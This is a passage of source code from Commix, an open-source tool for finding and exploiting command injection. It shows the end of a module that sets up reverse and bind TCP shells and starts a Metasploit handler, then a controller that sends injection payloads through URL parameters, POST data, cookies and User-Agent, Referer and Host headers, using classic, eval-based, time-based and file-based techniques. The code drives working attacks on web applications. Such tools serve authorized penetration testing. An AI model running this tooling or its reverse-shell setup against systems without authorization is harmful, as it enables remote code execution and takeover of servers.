err_msg += "To bypass that limitation, use the '--alter-shell' option "
err_msg += "or try another injection technique."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
# Check for invalid provided command.
else:
err_msg = common.invalid_cmd_output(cmd)
settings.print_data_to_stdout(settings.print_error_msg(err_msg))
"""
Success msg.
"""
def shell_success(option):
info_msg = "Sending payload to target, for " + option + " TCP connection "
if settings.BIND_TCP:
info_msg += "against " + settings.RHOST
else:
info_msg += "on " + settings.LHOST
info_msg += ":" + settings.LPORT + "."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
"""
Payload generation message.
"""
def gen_payload_msg(payload):
info_msg = "Generating the '" + payload + "' shellcode. "
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
"""
Error msg if the attack vector is available only for Windows targets.
"""
def windows_only_attack_vector():
error_msg = "This attack vector is available only for Windows targets."
settings.print_data_to_stdout(settings.print_error_msg(error_msg))
"""
Message regarding the MSF handler.
"""
def msf_launch_msg(output):
info_msg = "Type \"msfconsole -r " + os.path.abspath(output) + "\" (in a new window)."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
info_msg = "Once the loading is done, press here any key to continue..."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
sys.stdin.readline().replace("\n", "")
# Remove the ouput file.
os.remove(output)
"""
Check for available shell options.
"""
def shell_options(option):
if option.lower() == "reverse_tcp" or option.lower() == "bind_tcp" :
warn_msg = "You are into the '" + option.lower() + "' mode."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
elif option.lower() == "?":
menu.reverse_tcp_options()
elif option.lower() == "quit" or option.lower() == "exit":
raise SystemExit()
elif option[0:4].lower() == "set ":
if option[4:10].lower() == "lhost ":
if option.lower() == "bind_tcp":
err_msg = "The '" + option[4:9].upper() + "' option, is not "
err_msg += "usable for '" + option.lower() + "' mode. Use 'RHOST' option."
settings.print_data_to_stdout(settings.print_error_msg(err_msg))
else:
check_lhost(option[10:])
if option[4:10].lower() == "rhost ":
if option.lower() == "reverse_tcp":
err_msg = "The '" + option[4:9].upper() + "' option, is not "
err_msg += "usable for '" + option.lower() + "' mode. Use 'LHOST' option."
settings.print_data_to_stdout(settings.print_error_msg(err_msg))
else:
check_rhost(option[10:])
if option.lower() == "reverse_tcp":
if option[4:10].lower() == "lport ":
check_lport(option[10:])
if option[4:12].lower() == "srvport ":
check_srvport(option[12:])
if option[4:12].lower() == "uripath ":
check_uripath(option[12:])
else:
return option
"""
Set up the PHP working directory on the target host.
"""
def set_php_working_dir():
while True:
message = "Do you want to use '" + settings.WIN_PHP_DIR
message += "' as PHP working directory on the target host? [Y/n] > "
php_dir = common.read_input(message, default="Y", check_batch=True)
if php_dir in settings.CHOICE_YES:
break
elif php_dir in settings.CHOICE_NO:
message = "Please provide a custom working directory for PHP (e.g. '" + settings.WIN_PHP_DIR + "') > "
settings.WIN_PHP_DIR = common.read_input(message, default=settings.WIN_PHP_DIR, check_batch=True)
settings.USER_DEFINED_PHP_DIR = True
break
else:
common.invalid_option(php_dir)
pass
"""
Set up the Python working directory on the target host.
"""
def set_python_working_dir():
while True:
message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER
message += "' as Python interpreter on the target host? [Y/n] > "
python_dir = common.read_input(message, default="Y", check_batch=True)
if python_dir in settings.CHOICE_YES:
break
elif python_dir in settings.CHOICE_NO:
message = "Please provide a full path directory for Python interpreter (e.g. '" + settings.WIN_CUSTOM_PYTHON_INTERPRETER + "') > "
settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=settings.WIN_CUSTOM_PYTHON_INTERPRETER, check_batch=True)
settings.USER_DEFINED_PYTHON_DIR = True
break
else:
common.invalid_option(python_dir)
pass
"""
Check if to use '/bin' standard subdirectory
"""
def use_bin_subdir(nc_alternative, shell):
while True:
message = "Do you want to use '/bin' standard subdirectory? [y/N] > "
enable_bin_subdir = common.read_input(message, default="N", check_batch=True)
if enable_bin_subdir in settings.CHOICE_YES :
nc_alternative = "/bin/" + nc_alternative
shell = "/bin/" + shell
return nc_alternative, shell
elif enable_bin_subdir in settings.CHOICE_NO:
return nc_alternative, shell
elif enable_bin_subdir in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(enable_bin_subdir)
pass
"""
Set up the Python interpreter on linux target host.
"""
def set_python_interpreter():
while True:
message = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER
message += "' as Python interpreter on the target host? [Y/n] > "
python_interpreter = common.read_input(message, default="Y", check_batch=True)
if python_interpreter in settings.CHOICE_YES:
break
elif python_interpreter in settings.CHOICE_NO:
message = "Please provide a custom working interpreter for Python (e.g. '" + settings.LINUX_CUSTOM_PYTHON_INTERPRETER + "') > "
settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=settings.LINUX_CUSTOM_PYTHON_INTERPRETER, check_batch=True)
settings.USER_DEFINED_PYTHON_INTERPRETER = True
break
else:
common.invalid_option(python_interpreter)
pass
"""
check / set rhost option for bind TCP connection
"""
def check_rhost(rhost):
settings.RHOST = rhost
settings.print_data_to_stdout("RHOST => " + settings.RHOST)
return True
"""
check / set lhost option for reverse TCP connection
"""
def check_lhost(lhost):
settings.LHOST = lhost
settings.print_data_to_stdout("LHOST => " + settings.LHOST)
return True
"""
check / set lport option for reverse TCP connection
"""
def check_lport(lport):
try:
if float(lport):
settings.LPORT = lport
settings.print_data_to_stdout("LPORT => " + settings.LPORT)
return True
except ValueError:
err_msg = "The provided port must be numeric (i.e. 1234)"
settings.print_data_to_stdout(settings.print_error_msg(err_msg))
return False
"""
check / set srvport option for reverse TCP connection
"""
def check_srvport(srvport):
try:
if float(srvport):
settings.SRVPORT = srvport
settings.print_data_to_stdout("SRVPORT => " + settings.SRVPORT)
return True
except ValueError:
err_msg = "The provided port must be numeric (i.e. 1234)"
settings.print_data_to_stdout(settings.print_error_msg(err_msg))
return False
"""
check / set uripath option for reverse TCP connection
"""
def check_uripath(uripath):
settings.URIPATH = uripath
settings.print_data_to_stdout("URIPATH => " + settings.URIPATH)
return True
# eof commix-4.0/src/core/injections/controller/controller.py 0000664 0000000 0000000 00000112176 14731205621 0023466 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import os
import sys
from src.utils import menu
from src.utils import logs
from src.utils import settings
from src.utils import common
from src.utils import session_handler
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import parameters
from src.core.modules import modules_handler
from src.core.requests import authentication
from src.core.injections.controller import checks
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.blind.techniques.time_based import tb_handler
from src.core.injections.semiblind.techniques.file_based import fb_handler
from src.core.injections.results_based.techniques.classic import cb_handler
from src.core.injections.results_based.techniques.eval_based import eb_handler
"""
Command Injection and exploitation controller.
Checks if the testable parameter is exploitable.
"""
def basic_level_checks():
settings.TIME_RELATIVE_ATTACK = False
settings.SKIP_CODE_INJECTIONS = None
settings.SKIP_COMMAND_INJECTIONS = None
settings.IDENTIFIED_COMMAND_INJECTION = False
settings.IDENTIFIED_WARNINGS = False
settings.IDENTIFIED_PHPINFO = False
"""
Initializing HTTP Headers parameters injection status
"""
def init_http_header_injection_status():
settings.HTTP_HEADERS_INJECTION = None
settings.USER_AGENT_INJECTION = None
settings.REFERER_INJECTION = None
settings.HOST_INJECTION = None
"""
Initializing Cookie parameters injection status
"""
def init_cookie_injection_status():
settings.COOKIE_INJECTION = None
"""
Check for previously stored sessions.
"""
def check_for_stored_sessions(url, check_parameter, http_request_method):
if not menu.options.ignore_session and not menu.options.flush_session:
if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION:
if settings.LOAD_SESSION == None:
url, check_parameter = session_handler.check_stored_injection_points(url, check_parameter, http_request_method)
return url, check_parameter
"""
Heuristic request(s)
"""
def heuristic_request(url, http_request_method, check_parameter, payload, whitespace):
data = None
cookie = None
tmp_url = url
payload, prefix = parameters.prefixes(payload, prefix="")
payload, suffix = parameters.suffixes(payload, suffix="")
payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
payload = checks.perform_payload_modification(payload)
if settings.VERBOSITY_LEVEL >= 1:
settings.print_data_to_stdout(settings.print_payload(payload))
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
payload = checks.payload_fixation(payload)
cookie = checks.process_injectable_value(payload, menu.options.cookie).encode(settings.DEFAULT_CODEC)
# if settings.TESTABLE_VALUE in menu.options.cookie.replace(settings.INJECT_TAG, ""):
# cookie = menu.options.cookie.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).encode(settings.DEFAULT_CODEC)
# else:
# cookie = menu.options.cookie.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
else:
cookie = checks.remove_tags(menu.options.cookie).encode(settings.DEFAULT_CODEC)
if not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data:
data = checks.process_injectable_value(payload, menu.options.data).encode(settings.DEFAULT_CODEC)
# if settings.TESTABLE_VALUE in menu.options.data.replace(settings.INJECT_TAG, ""):
# data = menu.options.data.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).encode(settings.DEFAULT_CODEC)
# else:
# data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
else:
if settings.USER_DEFINED_POST_DATA:
settings.USER_DEFINED_POST_DATA = checks.remove_tags(settings.USER_DEFINED_POST_DATA)
data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)
if settings.INJECT_TAG in url:
tmp_url = checks.process_injectable_value(payload, url)
# if settings.TESTABLE_VALUE in url.replace(settings.INJECT_TAG, ""):
# tmp_url = url.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload)
# else:
# tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
else:
tmp_url = checks.remove_tags(tmp_url)
url = checks.remove_tags(url)
request = _urllib.request.Request(tmp_url, data, method=http_request_method)
if cookie:
request.add_header(settings.COOKIE, cookie)
if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize():
settings.CUSTOM_HEADER_NAME = check_parameter
if settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "") in settings.CUSTOM_HEADER_VALUE:
request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "").replace(settings.CUSTOM_HEADER_VALUE, payload).encode(settings.DEFAULT_CODEC))
else:
request.add_header(settings.CUSTOM_HEADER_NAME, payload.encode(settings.DEFAULT_CODEC))
headers.do_check(request)
response = requests.get_request_response(request)
return response, url
"""
Heuristic (basic) tests for command injection
"""
def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers):
check_parameter = check_parameter.lstrip().rstrip()
if menu.options.alter_shell:
basic_payloads = settings.ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS
else:
basic_payloads = settings.BASIC_COMMAND_INJECTION_PAYLOADS
settings.CLASSIC_STATE = True
try:
checks.perform_payload_modification(payload="")
for whitespace in settings.WHITESPACES:
if not settings.IDENTIFIED_COMMAND_INJECTION:
_ = 0
for payload in basic_payloads:
_ = _ + 1
response, url = heuristic_request(url, http_request_method, check_parameter, payload, whitespace)
if type(response) is not bool and response is not None:
html_data = checks.page_encoding(response, action="decode")
match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data)
if match:
settings.IDENTIFIED_COMMAND_INJECTION = True
possible_os = ('Unix-like', 'Windows')[_ != 1]
if settings.OS.UNIX.lower() in possible_os.lower():
settings.TARGET_OS = settings.OS.UNIX
else:
settings.TARGET_OS = settings.OS.WINDOWS
info_msg = "Heuristic (basic) tests shows that "
info_msg += settings.CHECKING_PARAMETER + " might be injectable (possible OS: '" + possible_os + "')."
settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
settings.SKIP_CODE_INJECTIONS = True
break
settings.CLASSIC_STATE = False
return url
except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg:
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
"""
Heuristic (basic) tests for code injection warnings
"""
def code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers):
check_parameter = check_parameter.lstrip().rstrip()
injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CE
technique = settings.INJECTION_TECHNIQUE.DYNAMIC_CODE
technique = "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ""
settings.EVAL_BASED_STATE = True
try:
whitespace = settings.SINGLE_WHITESPACE
if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO):
for payload in settings.PHPINFO_CHECK_PAYLOADS:
response, url = heuristic_request(url, http_request_method, check_parameter, payload, whitespace)
if type(response) is not bool and response is not None:
html_data = checks.page_encoding(response, action="decode")
match = re.search(settings.CODE_INJECTION_PHPINFO, html_data)
if match:
technique = technique + " (possible PHP version: '" + match.group(1) + "')"
settings.IDENTIFIED_PHPINFO = True
else:
for warning in settings.CODE_INJECTION_WARNINGS:
if warning in html_data:
settings.IDENTIFIED_WARNINGS = True
break
if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
info_msg = "Heuristic (basic) tests shows that "
info_msg += settings.CHECKING_PARAMETER + " might be injectable via " + technique + "."
settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
break
settings.EVAL_BASED_STATE = False
return url
except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg:
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
"""
Check if it's exploitable via classic command injection technique.
"""
def classic_command_injection_technique(url, timesec, filename, http_request_method):
injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CI
technique = settings.INJECTION_TECHNIQUE.CLASSIC
settings.CLASSIC_STATE = None
if not settings.SKIP_COMMAND_INJECTIONS:
if (len(menu.options.tech) == 0 or "c" in menu.options.tech):
if cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False:
settings.CLASSIC_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True
checks.skip_testing(filename, url)
else:
settings.CLASSIC_STATE = False
if settings.CLASSIC_STATE == None or settings.SKIP_COMMAND_INJECTIONS:
checks.skipping_technique(technique, injection_type, settings.CLASSIC_STATE)
"""
Check if it's exploitable via dynamic code evaluation technique.
"""
def dynamic_code_evaluation_technique(url, timesec, filename, http_request_method):
injection_type = settings.INJECTION_TYPE.RESULTS_BASED_CE
technique = settings.INJECTION_TECHNIQUE.DYNAMIC_CODE
settings.EVAL_BASED_STATE = None
if not settings.SKIP_CODE_INJECTIONS:
if (len(menu.options.tech) == 0 or "e" in menu.options.tech):
if eb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) != False:
settings.EVAL_BASED_STATE = True
if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
checks.skip_testing(filename, url)
else:
settings.EVAL_BASED_STATE = False
if settings.EVAL_BASED_STATE == None or not settings.SKIP_CODE_INJECTIONS:
checks.skipping_technique(technique, injection_type, settings.EVAL_BASED_STATE)
"""
Check if it's exploitable via time-based command injection technique.
"""
def timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response):
injection_type = settings.INJECTION_TYPE.BLIND
technique = settings.INJECTION_TECHNIQUE.TIME_BASED
settings.TIME_BASED_STATE = None
if not settings.SKIP_COMMAND_INJECTIONS:
if (len(menu.options.tech) == 0 or "t" in menu.options.tech):
if tb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) != False:
settings.TIME_BASED_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True
checks.skip_testing(filename, url)
else:
settings.TIME_BASED_STATE = False
if settings.TIME_BASED_STATE == None or settings.SKIP_COMMAND_INJECTIONS:
checks.skipping_technique(technique, injection_type, settings.TIME_BASED_STATE)
"""
Check if it's exploitable via file-based command injection technique.
"""
def filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response):
injection_type = settings.INJECTION_TYPE.SEMI_BLIND
technique = settings.INJECTION_TECHNIQUE.FILE_BASED
settings.FILE_BASED_STATE = None
if not settings.SKIP_COMMAND_INJECTIONS:
if (len(menu.options.tech) == 0 or "f" in menu.options.tech):
if fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) != False:
settings.FILE_BASED_STATE = settings.IDENTIFIED_COMMAND_INJECTION = True
checks.skip_testing(filename, url)
else:
settings.FILE_BASED_STATE = False
if settings.FILE_BASED_STATE == None or settings.SKIP_COMMAND_INJECTIONS:
checks.skipping_technique(technique, injection_type, settings.FILE_BASED_STATE)
"""
Check parameter in HTTP header.
"""
def check_parameter_in_http_header(check_parameter):
if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \
check_parameter.lower() in settings.CUSTOM_HEADER_NAME.lower():
if settings.ACCEPT_VALUE not in settings.CUSTOM_HEADER_VALUE:
inject_http_headers = True
else:
inject_http_headers = False
init_http_header_injection_status()
return inject_http_headers
"""
Proceed to the injection process for the appropriate parameter.
"""
def injection_proccess(url, check_parameter, http_request_method, filename, timesec):
settings.NOT_TESTABLE_PARAMETERS = False
for i in range(0,int(settings.OS_CHECKS_NUM)):
if settings.CHECK_BOTH_OS:
if i == 0:
settings.TARGET_OS = settings.OS.UNIX
else:
settings.TARGET_OS = settings.OS.WINDOWS
if settings.PERFORM_BASIC_SCANS:
checks.keep_testing_others(filename, url)
if not settings.LOAD_SESSION:
settings.LOAD_SESSION = None
basic_level_checks()
inject_http_headers = check_parameter_in_http_header(check_parameter)
if inject_http_headers:
checks.define_vulnerable_http_header(check_parameter)
# User-Agent/Referer/Host/Custom HTTP header Injection(s)
if any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION)):
header_name = ""
the_type = "HTTP Header"
inject_parameter = " parameter '" + check_parameter + "'"
else:
if settings.COOKIE_INJECTION:
header_name = settings.COOKIE
else:
header_name = ""
the_type = " parameter"
inject_parameter = " '" + check_parameter + "'"
# Estimating the response time (in seconds)
timesec, url_time_response = requests.estimate_response_time(url, timesec, http_request_method)
# Load modules
modules_handler.load_modules(url, http_request_method, filename)
# checks.tamper_scripts(stored_tamper_scripts=False)
settings.CHECKING_PARAMETER = ""
settings.TESTABLE_PARAMETER = check_parameter
if not header_name == settings.COOKIE and not the_type == "HTTP Header":
settings.CHECKING_PARAMETER = checks.check_http_method(url)
settings.CHECKING_PARAMETER += ('', ' JSON')[settings.IS_JSON] + ('', ' SOAP/XML')[settings.IS_XML]
if header_name == settings.COOKIE :
settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(inject_parameter)
else:
settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(inject_parameter)
if check_parameter in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST:
settings.CHECKING_PARAMETER = "(custom) " + settings.CHECKING_PARAMETER
if not settings.LOAD_SESSION:
info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
if menu.options.skip_heuristics:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Skipping heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
else:
if not settings.LOAD_SESSION:
checks.recognise_payload(payload=settings.TESTABLE_VALUE)
info_msg = "Performing heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
if not (len(menu.options.tech) == 1 and "e" in menu.options.tech):
url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
if not settings.IDENTIFIED_COMMAND_INJECTION and "e" in menu.options.tech:
# Check for identified warnings
url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers)
if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO:
checks.skip_testing(filename, url)
if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO:
settings.HEURISTIC_TEST.POSITIVE = False
warn_msg = "Heuristic (basic) tests shows that "
warn_msg += settings.CHECKING_PARAMETER + " might not be injectable."
settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg))
if (menu.options.smart and not settings.HEURISTIC_TEST.POSITIVE) or (menu.options.smart and menu.options.skip_heuristics):
info_msg = "Skipping "
info_msg += settings.CHECKING_PARAMETER + "."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
settings.HEURISTIC_TEST.POSITIVE = True
else:
if menu.options.failed_tries and \
menu.options.tech and not "f" in menu.options.tech and not \
menu.options.failed_tries:
warn_msg = "Due to the provided (unsuitable) injection technique"
warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", "
warn_msg += "the option '--failed-tries' will be ignored."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
# Procced with file-based semiblind command injection technique,
# once the user provides the path of web server's root directory.
if menu.options.web_root and settings.USER_APPLIED_TECHNIQUE and not "f" in menu.options.tech:
if not menu.options.web_root.endswith("/"):
menu.options.web_root = menu.options.web_root + "/"
if checks.procced_with_file_based_technique():
menu.options.tech = "f"
settings.START_SCANNING = True
classic_command_injection_technique(url, timesec, filename, http_request_method)
dynamic_code_evaluation_technique(url, timesec, filename, http_request_method)
timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response)
filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response)
# All injection techniques seems to be failed!
if checks.injection_techniques_status() == False:
warn_msg = "The tested "
warn_msg += settings.CHECKING_PARAMETER
warn_msg += " does not seem to be injectable."
settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg))
else:
if settings.LOAD_SESSION:
checks.quit(filename, url, _ = False)
if not settings.CHECK_BOTH_OS:
break
"""
Perform checks over custom HTTP Headers parameters.
"""
def custom_headers_checks(url, http_request_method, filename, timesec):
# # Disable Cookie Injection
# settings.COOKIE_INJECTION = None
for name in range(len(settings.CUSTOM_HEADERS_NAMES)):
if settings.ASTERISK_MARKER in settings.CUSTOM_HEADERS_NAMES[name].split(": ")[1] and not settings.CUSTOM_INJECTION_MARKER:
settings.CUSTOM_HEADER_INJECTION = False
else:
settings.CUSTOM_HEADER_INJECTION = True
settings.CUSTOM_HEADER_NAME = settings.CUSTOM_HEADERS_NAMES[name].split(": ")[0]
settings.HTTP_HEADER = check_parameter = header_name = settings.CUSTOM_HEADER_NAME.lower()
settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(check_parameter) if check_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST
settings.CUSTOM_HEADER_VALUE = settings.CUSTOM_HEADERS_NAMES[name].split(": ")[1].replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)
url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method)
if check_parameter != header_name or not injection_proccess(url, check_parameter, http_request_method, filename, timesec):
settings.CUSTOM_HEADER_INJECTION = False
settings.CUSTOM_HEADERS_NAMES[name] = checks.remove_tags(settings.CUSTOM_HEADERS_NAMES[name])
settings.CUSTOM_HEADER_INJECTION = False
"""
Inject HTTP headers parameters (User-agent / Referer / Host).
"""
def http_headers_injection(url, http_request_method, filename, timesec):
def user_agent_injection(url, http_request_method, filename, timesec):
user_agent = menu.options.agent
settings.USER_AGENT_INJECTION = True
settings.HTTP_HEADER = check_parameter = header_name = settings.USER_AGENT.lower()
url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method)
if check_parameter != header_name or not injection_proccess(url, check_parameter, http_request_method, filename, timesec):
settings.USER_AGENT_INJECTION = None
menu.options.agent = user_agent
def referer_injection(url, http_request_method, filename, timesec):
referer = menu.options.referer
settings.REFERER_INJECTION = True
settings.HTTP_HEADER = check_parameter = header_name = settings.REFERER.lower()
url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method)
if check_parameter != header_name or not injection_proccess(url, check_parameter, http_request_method, filename, timesec):
settings.REFERER_INJECTION = None
menu.options.referer = referer
def host_injection(url, http_request_method, filename, timesec):
host = menu.options.host
settings.HOST_INJECTION = True
settings.HTTP_HEADER = check_parameter = header_name = settings.HOST.lower()
url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method)
if check_parameter != header_name and not injection_proccess(url, check_parameter, http_request_method, filename, timesec):
settings.HOST_INJECTION = None
menu.options.host = host
if not any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)) and \
menu.options.test_parameter == None and \
menu.options.skip_parameter == None:
user_agent_injection(url, http_request_method, filename, timesec)
referer_injection(url, http_request_method, filename, timesec)
host_injection(url, http_request_method, filename, timesec)
else:
# User-Agent HTTP header injection
if settings.USER_AGENT_INJECTION or \
(type(menu.options.test_parameter) is str and settings.USER_AGENT.lower() in menu.options.test_parameter.lower()) or \
(type(menu.options.skip_parameter) is str and settings.USER_AGENT.lower() not in menu.options.skip_parameter.lower()):
user_agent_injection(url, http_request_method, filename, timesec)
# Referer HTTP header injection
if settings.REFERER_INJECTION or \
(type(menu.options.test_parameter) is str and settings.REFERER.lower() in menu.options.test_parameter.lower()) or \
(type(menu.options.skip_parameter) is str and settings.REFERER.lower() not in menu.options.skip_parameter.lower()):
referer_injection(url, http_request_method, filename, timesec)
# Host HTTP header injection
if settings.HOST_INJECTION or \
(type(menu.options.test_parameter) is str and settings.HOST.lower() in menu.options.test_parameter.lower()) or \
(type(menu.options.skip_parameter) is str and settings.HOST.lower() not in menu.options.skip_parameter.lower()):
host_injection(url, http_request_method, filename, timesec)
"""
Inject Cookie parameters
"""
def cookie_injection(url, http_request_method, filename, timesec):
if not menu.options.cookie:
check_parameter = settings.COOKIE.lower()
check_for_stored_sessions(url, check_parameter, http_request_method)
cookie = menu.options.cookie
if cookie:
settings.COOKIE_INJECTION = True
# Cookie Injection
header_name = settings.SINGLE_WHITESPACE + settings.COOKIE
settings.HTTP_HEADER = header_name[1:].lower()
cookie_parameters = parameters.do_cookie_check(menu.options.cookie)
if type(cookie_parameters) is str:
cookie_parameters_list = []
cookie_parameters_list.append(cookie_parameters)
cookie_parameters = cookie_parameters_list
# Remove whitespaces
cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters]
do_injection(cookie_parameters, settings.COOKIE, header_name, url, http_request_method, filename, timesec)
if settings.COOKIE_INJECTION:
# Restore cookie value
menu.options.cookie = cookie
# Disable cookie injection
settings.COOKIE_INJECTION = False
"""
Perform the injection proccess
"""
def do_injection(found, data_type, header_name, url, http_request_method, filename, timesec):
def define_check_parameter(found, i, url):
if data_type == settings.HTTPMETHOD.POST:
menu.options.data = found[i]
check_parameter = parameters.vuln_POST_param(found[i], url)
if data_type == settings.HTTPMETHOD.GET:
url = found[i]
check_parameter = parameters.vuln_GET_param(url)
if data_type == settings.COOKIE:
menu.options.cookie = found[i]
check_parameter = parameters.specify_cookie_parameter(found[i])
return url, check_parameter
# Check if multiple parameters
check_parameters = []
for i in range(0, len(found)):
url, check_parameter = define_check_parameter(found, i, url)
check_parameters.append(check_parameter)
checks.testable_parameters(url, check_parameters, header_name)
for i in range(0, len(found)):
url, check_parameter = define_check_parameter(found, i, url)
if check_parameter != found[i] and check_parameter not in settings.SKIP_PARAMETER:
if len(check_parameter) > 0:
settings.TESTABLE_PARAMETER = check_parameter
if len(settings.TESTABLE_PARAMETER) > 0:
if settings.TESTABLE_PARAMETERS_LIST and not settings.CUSTOM_INJECTION_MARKER:
counter = 0
for check_parameter in check_parameters:
if settings.TESTABLE_PARAMETERS_LIST.count(check_parameter) != 0:
url, check_parameter = define_check_parameter(found, counter, url)
url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
counter += 1
break
elif settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST and settings.CUSTOM_INJECTION_MARKER:
counter = 0
for check_parameter in check_parameters:
if settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.count(check_parameter) != 0:
url, check_parameter = define_check_parameter(found, counter, url)
url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
counter += 1
break
else:
if not (check_parameter in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST and not settings.CUSTOM_INJECTION_MARKER):
url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
else:
url, check_parameter = check_for_stored_sessions(url, check_parameter, http_request_method)
injection_proccess(url, check_parameter, http_request_method, filename, timesec)
"""
Check if HTTP Method is GET.
"""
def get_request(url, http_request_method, filename, timesec):
found_url = parameters.do_GET_check(url, http_request_method)
header_name = ""
if found_url != False:
do_injection(found_url, settings.HTTPMETHOD.GET, header_name, url, http_request_method, filename, timesec)
"""
Check if HTTP Method is POST.
"""
def post_request(url, http_request_method, filename, timesec):
